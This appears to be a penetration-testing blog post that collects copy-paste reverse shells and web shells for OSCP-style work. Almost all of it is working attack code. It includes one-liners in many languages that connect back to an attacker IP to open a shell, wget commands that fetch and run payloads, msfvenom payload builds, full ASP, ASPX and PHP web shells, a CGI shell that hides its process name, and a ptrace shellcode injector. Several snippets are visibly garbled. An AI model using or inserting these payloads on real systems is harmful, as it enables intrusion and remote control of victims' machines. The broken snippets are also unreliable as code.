Reverse Shells/ Web Shells Cheat sheet for Penetration Testing | OSCP

Hello, here is one of the most useful posts for Penetration testers – Reverse Shells and Web Shells all together in one place. Reverse shells and web shells are very necessary for penetration testing. So, here are the reverse shells, one-liner, few web shells that I regularly use in my day to day pen-testing. Just change the IP address and port – you are good to do. 
Bookmark this page. So, that you can just copy/paste the commands. Also, i will keep updating the page - whenever I find something interesting.  



PHP Shells: 

<?php $sock = fsockopen("IP_ADDRESS",PORT); $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

<?php system("whoami; wget http://IP_ADDRESS/shell; chmod +x shell; ./shell"); ?>

<?php system("/usr/bin/wget http://IP_ADDRESS/shell.txt -O /dev/shm/shell.php; php /dev/shm/shell.php"); ?>

<? php -r '$sock=fsockopen("IP_ADDRESS",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' ?>

<?php echo system($_REQUEST['cmd']); ?>

<?php echo shell_exec($_GET['cmd']); ?>

<?php exec("/bin/bash -c 'bash -i > /dev/tcp/IP_Address/PORT 0>&1'"); ?>

<?php $output = 'bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1';
echo "<pre>$output</pre>"; ?>

msfvenom -p php/meterpreter_reverse_tcp LHOST="IP_ADDRESS" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

Get PHP Reverse Shell from here
Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);' 

bash -i >& /dev/tcp/IP_address/PORT 0>&1
bash -i &#x3E;&#x26; /dev/tcp/IP_address/PORT 0&#x3E;&#x26;1
bash -i &gt;&amp; /dev/tcp/IP_address/PORT  0&gt;&amp;1
mknod /tmp/backpipe p /bin/sh 0</tmp/backpipe | nc 443 1>/tmp/backpipe

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("IP_ADDRESS",PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP_ADDRESS',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

#Base64 Enconding your payload
$Command = '$client = New-Object System.Net.Sockets.TCPClient("",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Encoded = [convert]::ToBase64String([System.Text.encoding]::Unicode.GetBytes($command)) 
print $Encoded

Serealize your payload


ysoserial.exe -g ObjectDataProvider -f JavaScriptSerializer -o base64 -c "powershell -encoded <encoded payload>"

mknod /tmp/backpipe p 
/bin/sh 0</tmp/backpipe | nc 443 1>/tmp/backpipe

nc -e /bin/sh IP_ADDRESS PORT 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP_ADDRESS PORT >/tmp/f

UDP Netcat Reverse Shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u IP_ADDRESS PORT >/tmp/f

Start a listener on attacker machine 

nc -u -nvlp PORT
Perl Reverse Shell

perl -e 'use Socket;$i="IP_ADDRESS";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 

ruby -rsocket -e'"IP_ADDRESS",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;"IP_ADDRESS","PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print}end'

Ruby Reverse Shell For Windows:

ruby -rsocket -e '"IP_ADDRESS","PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print}end'  

Java Reverse Shell

String host="IP_ADDRESS";
int port=PORT;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); 
Java Reverse Shell 2 

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP_ADDRESS/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
Node JS

    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "", function(){
    return /a/; // Prevents the Node.js application form crashing


require('child_process').exec('nc -e /bin/sh IP_ADDRESS PORT')


-var x = global.process.mainModule.require
-x('child_process').exec('nc 4242 -e /bin/bash')
CGI Reverse Shell

#!/usr/bin/perl -w

use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell.  Change these.
my $ip = '';
my $port = 9002;

# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any 
  # source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
 cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

 if ($auth) {
  unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
   cgiprint("ERROR: Your client isn't authorised to view this page");
} elsif ($auth) {
 cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access");

# Background and dissociate from parent process if required
if ($daemon) {
 my $pid = fork();
 if ($pid) {
  cgiexit(0); # parent exits


# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
 cgiprint("Sent reverse shell to $ip:$port");
} else {
 cgiprint("Couldn't open reverse shell to $ip:$port: $!");

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
 my $line = shift;
 $line .= "<p>\n";
 $global_page .= $line;

# Wrapper around exit
sub cgiexit {
 exit 0; # 0 to ensure we don't give a 500 response.

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
 print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;

Windows x64 Staged Payload:

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST= LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/x64/shell/reverse_tcp  LHOST= LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT=443 -f exe -o exploit.exe

Windows x64 Stageless Payload:

msfvenom -p windows/x64/shell_reverse_tcp  LHOST= LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/x64/powershell_reverse_tcp LHOST= LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/x64/exec 'CMD=cmd.exe' LHOST= LPORT=443 -f exe -o exploit.exe

Windows x86 Staged Payloads:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/shell/reverse_tcp LHOST= LPORT=443 -f exe -o exploit.exe

Windows x86 Stageless Payloads:

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -f exe -o exploit.exe


msfvenom --list payloads | grep php to search for payload 

msfvenom --list formats | grep php  to search for formats to output payload
Linux x64 Staged Payloads

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= LPORT=443 -f elf -o exploit
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT=443 -f elf -o exploit

Linux x64 Stageless payloads

msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=443 -f elf -o exploit
msfvenom -p linux/x64/exec 'CMD=/bin/bash' LHOST= LPORT=443 -f elf -o exploit

Linux x86 Staged Paylods

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -f elf -o exploit
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT=443 -f elf -o exploit

Linux x86 Stageless Payloads

msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=443 -f elf -o exploit
msfvenom -p linux/x86/exec 'CMD=/bin/bash' LHOST= LPORT=443 -f elf -o exploit

msfvenom --list payloads | grep php to search for payloads

msfvenom --list formats | grep php  to search for formats to output payload


<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

ASP- Web Shell


Dim oS,oSNet,oFSys, oF,szCMD, szTF
On Error Resume Next
Set oS = Server.CreateObject("WSCRIPT.SHELL")
Set oSNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form("C")
If (szCMD <> "") Then
  szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" &  oFSys.GetTempName()
  Call oS.Run(" cmd.exe /c """ & szCMD & " > " & szTF &
  response.write szTF
  ' Change perms
  Call oS.Run(" cmd.exe /c cacls.exe " & szTF & " /E /G
  Set oF = oFSys.OpenTextFile(szTF,1,False,0)
End If 
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name="C" size=70 value="<%= szCMD %>">
<input type=submit value="Run"></FORM><PRE>
Machine: <%=oSNet.ComputerName%><BR>
Username: <%=oSNet.UserName%><br>
If (IsObject(oF)) Then
  On Error Resume Next
  Response.Write Server.HTMLEncode(oF.ReadAll)
  Call oS.Run(" cmd.exe /c del "& szTF,0,True)
End If 

ASP - Web Shell 2 

<%@ Language=VBScript %>

  Dim oScript
  Dim oScriptNet
  Dim oFileSys, oFile
  Dim szCMD, szTempFile

  On Error Resume Next

  ' -- create the COM objects that we will be using -- '
  Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

  ' -- check for a command that we have posted -- '
  szCMD = Request.Form(".CMD")
  If (szCMD <> "") Then

    ' -- Use a poor man's pipe ... a temp file -- '
    szTempFile = "C:\" & oFileSys.GetTempName( )
    Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
    Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

  End If

<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
  If (IsObject(oFile)) Then
    ' -- Read the output from our command and remove the temp file -- '
    On Error Resume Next
    Response.Write Server.HTMLEncode(oFile.ReadAll)
    Call oFileSys.DeleteFile(szTempFile, True)
  End If
ASPX Web Shell
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
string ExcuteCmd(string arg)
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
return s;
void cmdExe_Click(object sender, System.EventArgs e)
<title>awen webshell</title>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
C Reverse Shell

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main (int argc, char **argv)
  int scktd;
  struct sockaddr_in client;
  client.sin_family = AF_INET;
  client.sin_addr.s_addr = inet_addr("IP_ADDRESS");
  client.sin_port = htons(PORT);

  scktd = socket(AF_INET,SOCK_STREAM,0);
  connect(scktd,(struct sockaddr *)&client,sizeof(client));

  dup2(scktd,0); // STDIN
  dup2(scktd,1); // STDOUT
  dup2(scktd,2); // STDERR


  return 0;
Python script to inject the BIND TCP shellcode into the running process

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <sys/user.h>
#include <sys/reg.h>


unsigned char *shellcode = 

inject_data (pid_t pid, unsigned char *src, void *dst, int len)
  int      i;
  uint32_t *s = (uint32_t *) src;
  uint32_t *d = (uint32_t *) dst;

  for (i = 0; i < len; i+=4, s++, d++)
      if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
	  perror ("ptrace(POKETEXT):");
	  return -1;
  return 0;

main (int argc, char *argv[])
  pid_t                   target;
  struct user_regs_struct regs;
  int                     syscall;
  long                    dst;

  if (argc != 2)
      fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
      exit (1);
  target = atoi (argv[1]);
  printf ("+ Tracing process %d\n", target);

  if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
      perror ("ptrace(ATTACH):");
      exit (1);

  printf ("+ Waiting for process...\n");
  wait (NULL);

  printf ("+ Getting Registers\n");
  if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)
      perror ("ptrace(GETREGS):");
      exit (1);

  /* Inject code into current RPI position */

  printf ("+ Injecting shell code at %p\n", (void*);
  inject_data (target, shellcode, (void*), SHELLCODE_SIZE); += 2;
  printf ("+ Setting instruction pointer to %p\n", (void*);

  if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)
      perror ("ptrace(GETREGS):");
      exit (1);
  printf ("+ Run it!\n");

  if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
	  perror ("ptrace(DETACH):");
	  exit (1);
  return 0;



Well, that's it for this post - This is the compressed list of reverse shells and the ones that I use regularly - I might have missed something, but the above commands should help you in most of the scenarios. Let me know, which is your favorite reverse shell in comments and In case I missed something, please comment below. So, that I can add it to the list. 

Bhanu Namikaze

Bhanu Namikaze is an Ethical Hacker, Security Analyst, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and Capture the Flags. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment